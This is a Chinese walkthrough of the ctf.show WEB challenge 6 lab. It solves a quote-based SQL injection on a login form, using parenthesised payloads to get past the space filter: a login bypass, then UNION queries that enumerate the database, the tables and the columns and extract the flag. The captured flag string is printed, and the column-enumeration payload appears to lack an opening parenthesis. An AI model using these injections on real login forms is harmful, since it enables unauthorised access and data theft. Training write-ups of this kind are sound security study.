ctfshow-WEB-web6

ctf.show WEB模块第6关是一个SQL注入漏洞,注入点是单引号字符型注入,并且过滤了空格,我们可以使用括号()或者注释/**/绕过

 

ctfshow-WEB-web6_第1张图片

先来一个万能账号,注意使用括号()替换空格,用户名输入以下payload,密码随便输

a'or(true)#

 成功登录

 ctfshow-WEB-web6_第2张图片

 

既然是SQL注入漏洞,那么flag肯定就藏在当前使用的数据库中,我们使用联合注入获取当前使用的数据库,用户名输入以下payload,密码随便输

a'or(true)union(select(1),database(),3)#

当前数据库是web2

ctfshow-WEB-web6_第3张图片

 

接下来获取数据库中的所有表,用户名输入一下payload,密码随便输,如果直接复制payload,记得删掉内容中的空格等特殊字符,尽量使整个内容保持在一行,否则空格或换行符会使结果出错

a'or(true)union(select(1),
(select(group_concat(table_name))from(information_schema.tables)
where(table_schema='web2'))
,3)#

成功获取数据库中的表 flag , user

ctfshow-WEB-web6_第4张图片

 

很明显flag就在flag这个表中,接下来我们获取flag表的所有字段,用户名输入以下payload,密码随便输,如果直接赋值payload,记得删掉内容中的空格和换行符,否则会报错

a'or(true)union(select(1),
select(group_concat(column_name))from(information_schema.columns)
where(table_schema='web2')and(table_name='flag'))
,3)#

成功获取表中字段flag

ctfshow-WEB-web6_第5张图片

 

接下来就是获取flag表中的数据了,用户名输入以下payload,密码随便输

a'or(true)union(select(1),(select(flag)from(flag)),3)#

ctfshow-WEB-web6_第6张图片

 

把整个内容复制到输入框中提交flag,即可过关

ctfshow{4cd84cfd-e43c-40f0-86df-d11bf6c2c50c}

你可能感兴趣的:(通关教程,网络安全,渗透测试)